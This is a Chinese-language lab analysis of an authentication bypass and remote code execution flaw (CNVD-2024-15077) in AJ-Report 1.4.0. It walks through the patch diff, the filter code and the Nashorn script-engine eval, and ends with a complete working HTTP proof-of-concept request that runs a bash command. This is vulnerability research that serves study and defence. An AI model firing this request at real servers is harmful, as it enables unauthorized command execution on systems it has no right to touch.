AJ-Report 认证绕过与远程代码执行漏洞(CNVD-2024-15077)
AJ-Report是全开源的一个BI平台。在其1.4.0版本及以前,存在一处认证绕过漏洞,攻击者利用该漏洞可以绕过权限校验并执行任意代码。
补丁对比
方法一
从docker拖出代码,去gitee下载发行版,便于对比编译后的class。
方法二
查看git的commit记录,可以直接看到修改了哪些内容!后面要去学习一下git。
https://gitee.com/anji-plus/report/commit/bd95a34db8fa68ab5aa96189764205c89c5e7061
修复描述:添加脚本引擎class黑名单,修复命令执行漏洞
远程调试的坑点
JDK版本
这里项目是JDK8,我们导入代码首先要设置JDK版本,否则调试参数会出问题!
这里要与容器中的对应!
添加库
socket连接成功,如果还是无法命中断点,检查JDK版本后,还需检查库添加是否有问题。
在Project Structure -> Libraries中,将当前目录与子目录下所有jar包增加进来,如果不行,继续递归添加。
这里要添加到BOOT-INF
这一层级,否则还是不行,我猜想是这个jar包有多级目录。要从外到内一直添加到classes目录才可以。
下次遇到这种问题,不能调试就继续对子目录添加库,加到能调试为止。
漏洞分析
\vulhub\CNVD-2024-15077\aj-report-1.4.0.RELEASE\lib\aj-report-1.4.0.RELEASE.jar
添加库,就可以看到代码并进行调试了。
路由
标准的springboot项目,路由直接是/dataSetParam/verification
认证绕过
既然是认证绕过,找到与认证/授权
相关的代码,代码审计第二步,看鉴权。
- Filter
\aj-report-1.4.0.RELEASE\lib\aj-report-1.4.0.RELEASE.jar!\BOOT-INF\classes\com\anjiplus\template\gaea\business\filter\TokenFilter.class
访问swagger-resources
会给个/v2/api-docs
,会给出所有接口请求文档,这也算是个接口泄露。
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest)servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
String uri = request.getRequestURI();
if ("OPTIONS".equalsIgnoreCase(request.getMethod())) {
filterChain.doFilter(request, response);
} else if (!uri.contains("swagger-ui") && !uri.contains("swagger-resources")) {
if (!this.SLASH.equals(uri) && !this.SLASH.concat("/").equals(uri)) {
boolean skipAuthenticate = this.skipAuthenticatePattern.matcher(uri).matches();
if (skipAuthenticate) {
filterChain.doFilter(request, response);
} else {
String token = request.getHeader("Authorization");
String shareToken = request.getHeader("Share-Token");
if (StringUtils.isBlank(token) && StringUtils.isBlank(shareToken)) {
this.error(response);
} else {
String loginName;
try {
loginName = this.jwtBean.getUsername(token); //JWT认证
} catch (Exception var15) {
loginName = "";
}
String tokenKey = String.format("gaea:security:login:token:%s", loginName);
String userKey = String.format("gaea:security:login:user:%s", loginName);
if (!this.cacheHelper.exist(tokenKey)) {
if (StringUtils.isNotBlank(shareToken)) {
List<String> reportCodeList = JwtUtil.getReportCodeList(shareToken);
if (!uri.endsWith("/reportDashboard/getData") && !uri.endsWith("/reportExcel/preview")) {
Stream var10000 = reportCodeList.stream();
uri.getClass();
if (var10000.noneMatch(uri::contains)) {
ResponseBean responseBean = ResponseBean.builder().code("50014").message("分享链接已过期").build();
response.getWriter().print(JSONObject.toJSONString(responseBean));
return;
}
}
filterChain.doFilter(request, response);
} else {
this.error(response);
}
} else {
String gaeaUserJsonStr = this.cacheHelper.stringGet(userKey);
if (!"admin".equals(loginName)) {
AtomicBoolean authorizeFlag = this.authorize(request, gaeaUserJsonStr);
if (!authorizeFlag.get()) {
this.authError(response);
return;
}
}
this.cacheHelper.stringSetExpire(tokenKey, token, 3600L);
this.cacheHelper.stringSetExpire(userKey, gaeaUserJsonStr, 3600L);
filterChain.doFilter(request, response);
}
}
}
} else if ("/".equals(uri)) {
response.sendRedirect("/index.html");
} else {
response.sendRedirect(this.SLASH + "/index.html");
}
} else {
filterChain.doFilter(request, response);
}
}
访问/dataSetParam/verification;swagger-resources
可以绕过Filter的检查。
在 URL 中使用分号 ; 来携带附加参数是 URI(统一资源标识符)的一种扩展形式,通常称为“矩阵参数”(Matrix Parameters)。
虽然在 RESTful API 中更常见的是使用查询参数(Query Parameters)来传递附加信息,但矩阵参数也是一种有效的方法。
矩阵参数 vs. 查询参数
- 矩阵参数:嵌入在路径段中,通常用于描述资源的属性。 用分号 ; 分隔,并嵌入在 URL 路径中。每个参数以键值对的形式表示,类似于查询参数,但放置在路径段中。
- 查询参数:位于 URL 末尾,用于过滤、排序、分页等操作。
在 Spring Boot 、Spring中,如果不进行额外的配置,框架会默认会识别 URL 中的分号 ;
,并且能够正确访问路径。但默认配置会移除分号后的内容,这意味着无法直接解析和使用矩阵参数。
综上所述,使用矩阵参数包含Filter
中的白名单字符即可。
代码执行
根据修改内容很容易定位漏洞位置,在修复中对engine
做了黑名单限制。
DataSetParamController#verification
//使用 @Validated 注解进行参数验证,并使用 @RequestBody 注解将请求体中的 JSON 数据转换为 DataSetParamValidationParam 对象。
public ResponseBean verification(@Validated @RequestBody DataSetParamValidationParam param) {
// 创建一个新的 DataSetParamDto 对象
DataSetParamDto dto = new DataSetParamDto(); //dto可以看成是pojo的升级版,其拥有验证数据的功能
// 从传入参数 param 中获取 sampleItem 并设置到 dto 中
dto.setSampleItem(param.getSampleItem());
// 从传入参数 param 中获取 validationRules 并设置到 dto 中
dto.setValidationRules(param.getValidationRules());
// 调用 dataSetParamService 的 verification 方法进行验证,并将结果封装到 ResponseBean 中返回
return this.responseSuccessWithData(this.dataSetParamService.verification(dto));
}
注意传递的数据为json格式,这是因为@RequestBody
注解。详见https://www.itzhimei.com/archives/3499.html
@RequestBody注解是Spring框架中常用的注解之一,用于将HTTP请求的请求体中的数据绑定到一个Java对象上。通过使用@RequestBody注解,可以将请求体中的JSON/XML等格式的数据转换为Java对象,并传递给Controller中的方法进行处理。
DataSetParamServiceImpl#verification
,注意这里有函数重载,根据参数类型找到正确的业务函数。
public Object verification(DataSetParamDto dataSetParamDto) { // 方法接收一个 DataSetParamDto 对象并返回一个 Object
String validationRules = dataSetParamDto.getValidationRules(); // 获取 dataSetParamDto 中的 validationRules
if (StringUtils.isNotBlank(validationRules)) { // 检查 validationRules 是否不为空
try {
this.engine.eval(validationRules); // 使用脚本引擎执行 validationRules
if (this.engine instanceof Invocable) { // 检查脚本引擎是否实现了 Invocable 接口
Invocable invocable = (Invocable) this.engine; // 将脚本引擎转换为 Invocable
Object exec = invocable.invokeFunction("verification", new Object[]{dataSetParamDto}); // 调用脚本中的 verification 函数,并传入 dataSetParamDto 作为参数
ObjectMapper objectMapper = new ObjectMapper(); // 创建 ObjectMapper 对象用于类型转换
if (exec instanceof Boolean) { // 如果 exec 是 Boolean 类型
return objectMapper.convertValue(exec, Boolean.class); // 将 exec 转换为 Boolean 类型并返回
}
return objectMapper.convertValue(exec, String.class); // 将 exec 转换为 String 类型并返回
}
} catch (Exception var6) { // 捕获异常
throw BusinessExceptionBuilder.build("4005", new Object[]{var6.getMessage()}); // 抛出业务异常,包含错误信息
}
}
return true; // 如果 validationRules 为空,返回 true
}
this.engine.eval(validationRules);
这一句导致的RCE。看看engine是什么
public DataSetParamServiceImpl() {
ScriptEngineManager manager = new ScriptEngineManager();
this.engine = manager.getEngineByName("JavaScript");
}
ScriptEngineManager 获取名为 "JavaScript" 的脚本引擎。在Java 8-15的版本中,默认情况下,"JavaScript" 引擎指的是 Nashorn 引擎。
Nashorn 支持 JavaScript 与 Java 之间的互操作性,允许JavaScript代码调用Java类和方法。
如果传递给 eval 方法的脚本来自不受信任的来源,攻击者可以编写恶意脚本执行任意Java代码。例如:
var Runtime = Java.type('java.lang.Runtime');
Runtime.getRuntime().exec('calc'); // 在Windows系统 上打开计算器
POC分析
使用 Nashorn引擎执行命令(Java 8 及以上)
Nashorn 是 Java 8 引入的 JavaScript 引擎。你可以使用 Nashorn 来执行 JavaScript 代码,并通过 Java 类型访问系统命令。
public class Main {
public static void main(String[] args) throws ScriptException {
ScriptEngineManager manager = new ScriptEngineManager();
ScriptEngine engine = manager.getEngineByName("JavaScript");
engine.eval("var ProcessBuilder = Java.type('java.lang.ProcessBuilder'); var process = new ProcessBuilder('calc.exe').start();");
}
}
SpringBoot框架小知识
Param:用于客户端与Controller之间的数据传输和参数验证。
DTO:用于Controller层与Service之间的数据传输。
POJO/Entity:用于Service层与 DAO 层之间的数据传输,通常表示数据库表结构。
数据流:Param
——>DTO
——>Entity
完整的POC
POST /dataSetParam/verification;swagger-resources HTTP/1.1
Host: 10.1.1.130:9095
Content-Length: 230
Accept: application/json, text/plain, */*
Authorization:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://10.1.1.130:9095
Referer: http://10.1.1.130:9095/index.html
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: apt.uid=AP-YFGMCGUNNIFB-2-1716654996120-84665825.0.2.6b933aba-006b-4c12-b4b5-a0ddc2adfcf4
Connection: close
{
"sampleItem": "1",
"validationRules": "var ProcessBuilder = Java.type('java.lang.ProcessBuilder'); var process = new ProcessBuilder('/bin/bash', '-c', 'touch /tmp/evil').start();"
}
上面分析了SpringBoot的数据流,这里POST的参数从Param
相关类里面看。
注意Json中的特殊字符不需要URL编码。
但以下字符需要转义
- 双引号 ("): 使用反斜杠 () 转义
- 反斜杠 (): 使用反斜杠 () 转义
- 其他控制字符(如换行符 \n、回车符 \r 等)